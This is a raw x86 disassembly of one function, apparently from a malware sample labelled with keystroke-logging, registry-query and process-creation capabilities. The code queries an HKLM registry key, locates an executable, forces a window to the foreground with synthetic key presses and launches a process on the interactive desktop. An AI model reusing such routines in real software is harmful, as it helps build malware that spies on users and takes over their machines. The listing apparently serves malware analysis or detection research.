Function at 0x4051c1
Capabilities:
Create process on windows
Log keystrokes
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5f0
push esi
push edi
push 0x41359c
push 0x4135a4
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 4], eax
push 0x104
push 0
lea eax, [ebp - 0x314]
push eax
call fcn.00409040
add esp, 0xc
mov ecx, dword [ebp + 8]
add ecx, 1
push ecx
push 0x4135b4
push str._s_02X
lea edx, [ebp - 0x41c]
push edx
call fcn.00408df6
add esp, 0x10
lea eax, [ebp - 0x420]
push eax
push 0x20019
push 0
lea ecx, [ebp - 0x41c]
push ecx
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x318], eax
mov dword [ebp - 8], 0x104
cmp dword [ebp - 0x318], 0
je 0x405281
lea edx, [ebp - 8]
push edx
lea eax, [ebp - 0x10c]
push eax
push 0
push 0
push 0x4135dc
mov ecx, dword [ebp - 0x420]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x405281
mov dword [ebp - 0x5d8], 1
jmp 0x40528b
mov dword [ebp - 0x5d8], 0
mov edx, dword [ebp - 0x5d8]
mov dword [ebp - 0x318], edx
mov dword [ebp - 8], 0x104
cmp dword [ebp - 0x318], 0
je 0x4052d8
lea eax, [ebp - 8]
push eax
lea ecx, [ebp - 0x314]
push ecx
push 0
push 0
push 0x4135e4
mov edx, dword [ebp - 0x420]
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4052d8
mov dword [ebp - 0x5dc], 1
jmp 0x4052e2
mov dword [ebp - 0x5dc], 0
mov eax, dword [ebp - 0x5dc]
mov dword [ebp - 0x318], eax
mov ecx, dword [ebp - 0x420]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0x318], 0
jne 0x405395
mov dword [ebp - 0x560], 0
mov ecx, 0x4f
xor eax, eax
lea edi, [ebp - 0x55c]
rep stosd dword es:[edi], eax
push 0x104
lea edx, [ebp - 0x10c]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov eax, dword [ebp + 8]
add eax, 1
push eax
push str._tpfnf_d.exe
push 0x5c
lea ecx, [ebp - 0x10c]
push ecx
call fcn.004090a0
add esp, 8
push eax
call fcn.00408df6
add esp, 0xc
lea edx, [ebp - 0x560]
push edx
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0x564], eax
cmp dword [ebp - 0x564], 0xffffffff
je 0x405395
mov ecx, dword [ebp - 0x564]
push ecx
call dword [sym.imp.KERNEL32.dll_FindClose]
mov dword [ebp - 0x318], 1
cmp dword [ebp - 0x318], 0
jne 0x4053a5
xor eax, eax
jmp 0x4057b4
movsx edx, byte [ebp - 0x314]
test edx, edx
je 0x4053d4
lea eax, [ebp - 0x314]
push eax
lea ecx, [ebp - 0x10c]
push ecx
push str._s__s
lea edx, [ebp - 0x210]
push edx
call fcn.00408df6
add esp, 0x10
jmp 0x4053ea
lea eax, [ebp - 0x10c]
push eax
lea ecx, [ebp - 0x210]
push ecx
call fcn.00408e50
add esp, 8
call fcn.00405130
call dword [sym.imp.USER32.dll_GetForegroundWindow]
cmp dword [ebp - 4], eax
je 0x4054b5
call dword [sym.imp.USER32.dll_GetActiveWindow]
test eax, eax
je 0x40548f
lea edx, [ebp - 0x568]
push edx
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov dword [ebp - 0x574], eax
lea eax, [ebp - 0x56c]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov dword [ebp - 0x570], eax
mov edx, dword [ebp - 0x568]
cmp edx, dword [ebp - 0x56c]
jne 0x405457
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.USER32.dll_SetForegroundWindow]
jmp 0x40548d
push 1
mov ecx, dword [ebp - 0x574]
push ecx
mov edx, dword [ebp - 0x570]
push edx
call dword [sym.imp.USER32.dll_AttachThreadInput]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.USER32.dll_SetForegroundWindow]
push 0
mov ecx, dword [ebp - 0x574]
push ecx
mov edx, dword [ebp - 0x570]
push edx
call dword [sym.imp.USER32.dll_AttachThreadInput]
jmp 0x4054b5
push 0
push 0
push 0
push 0x10
call dword [sym.imp.USER32.dll_keybd_event]
push 0
push 2
push 0
push 0x10
call dword [sym.imp.USER32.dll_keybd_event]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.USER32.dll_SetForegroundWindow]
mov dword [ebp - 0x5d4], 0x44
mov ecx, 0x10
xor eax, eax
lea edi, [ebp - 0x5d0]
rep stosd dword es:[edi], eax
mov dword [ebp - 0x588], 0
xor ecx, ecx
mov dword [ebp - 0x584], ecx
mov dword [ebp - 0x580], ecx
mov dword [ebp - 0x57c], ecx
mov dword [ebp - 0x590], 0
mov dword [ebp - 0x578], 0x104
push 0x2000000
push 0
push 0
call dword [sym.imp.USER32.dll_OpenInputDesktop]
mov dword [ebp - 0x58c], eax
cmp dword [ebp - 0x318], 0
je 0x405533
cmp dword [ebp - 0x58c], 0
je 0x405533
mov dword [ebp - 0x5e0], 1
jmp 0x40553d
mov dword [ebp - 0x5e0], 0
mov edx, dword [ebp - 0x5e0]
mov dword [ebp - 0x318], edx
cmp dword [ebp - 0x318], 0
je 0x40557a
push 0x104
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0x590], eax
cmp dword [ebp - 0x590], 0
je 0x40557a
mov dword [ebp - 0x5e4], 1
jmp 0x405584
mov dword [ebp - 0x5e4], 0
mov eax, dword [ebp - 0x5e4]
mov dword [ebp - 0x318], eax
cmp dword [ebp - 0x318], 0
je 0x4055ad
push 0x413608
mov ecx, dword [ebp - 0x590]
push ecx
call fcn.00408e50
add esp, 8
lea edx, [ebp - 0x578]
push edx
mov eax, dword [ebp - 0x590]
push eax
call dword [sym.imp.KERNEL32.dll_LocalSize]
mov esi, eax
push 0x413614
call fcn.00408fc0
add esp, 4
sub esi, eax
push esi
push 0x413620
call fcn.00408fc0
add esp, 4
mov ecx, dword [ebp - 0x590]
add ecx, eax
push ecx
push 2
mov edx, dword [ebp - 0x58c]
push edx
call dword [sym.imp.USER32.dll_GetUserObjectInformationA]
test eax, eax
jne 0x4056db
cmp dword [ebp - 0x318], 0
je 0x40564b
push 0x42
push 0x41362c
call fcn.00408fc0
add esp, 4
mov ecx, dword [ebp - 0x578]
lea edx, [eax + ecx + 1]
push edx
mov eax, dword [ebp - 0x590]
push eax
call dword [sym.imp.KERNEL32.dll_LocalReAlloc]
mov dword [ebp - 0x590], eax
cmp dword [ebp - 0x590], 0
je 0x40564b
mov dword [ebp - 0x5e8], 1
jmp 0x405655
mov dword [ebp - 0x5e8], 0
mov ecx, dword [ebp - 0x5e8]
mov dword [ebp - 0x318], ecx
cmp dword [ebp - 0x318], 0
je 0x4056c5
lea edx, [ebp - 0x578]
push edx
mov eax, dword [ebp - 0x590]
push eax
call dword [sym.imp.KERNEL32.dll_LocalSize]
mov esi, eax
push 0x413638
call fcn.00408fc0
add esp, 4
sub esi, eax
push esi
push str.WinSta0_
call fcn.00408fc0
add esp, 4
mov ecx, dword [ebp - 0x590]
add ecx, eax
push ecx
push 2
mov edx, dword [ebp - 0x58c]
push edx
call dword [sym.imp.USER32.dll_GetUserObjectInformationA]
test eax, eax
je 0x4056c5
mov dword [ebp - 0x5ec], 1
jmp 0x4056cf
mov dword [ebp - 0x5ec], 0
mov eax, dword [ebp - 0x5ec]
mov dword [ebp - 0x318], eax
cmp dword [ebp - 0x318], 0
je 0x4056f0
mov ecx, dword [ebp - 0x590]
mov dword [ebp - 0x5cc], ecx
cmp dword [ebp - 0x318], 0
je 0x40573a
lea edx, [ebp - 0x588]
push edx
lea eax, [ebp - 0x5d4]
push eax
push 0
push 0
push 0x80
push 0
push 0
push 0
lea ecx, [ebp - 0x210]
push ecx
lea edx, [ebp - 0x10c]
push edx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x40573a
mov dword [ebp - 0x5f0], 1
jmp 0x405744
mov dword [ebp - 0x5f0], 0
mov eax, dword [ebp - 0x5f0]
mov dword [ebp - 0x318], eax
cmp dword [ebp - 0x318], 0
je 0x405768
push 2
mov ecx, dword [ebp - 0x584]
push ecx
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov edx, dword [ebp - 0x584]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x588]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0x590], 0
je 0x405798
mov ecx, dword [ebp - 0x590]
push ecx
call dword [sym.imp.KERNEL32.dll_LocalFree]
cmp dword [ebp - 0x58c], 0
je 0x4057ae
mov edx, dword [ebp - 0x58c]
push edx
call dword [sym.imp.USER32.dll_CloseDesktop]
mov eax, dword [ebp - 0x318]
pop edi
pop esi
mov esp, ebp
pop ebp
ret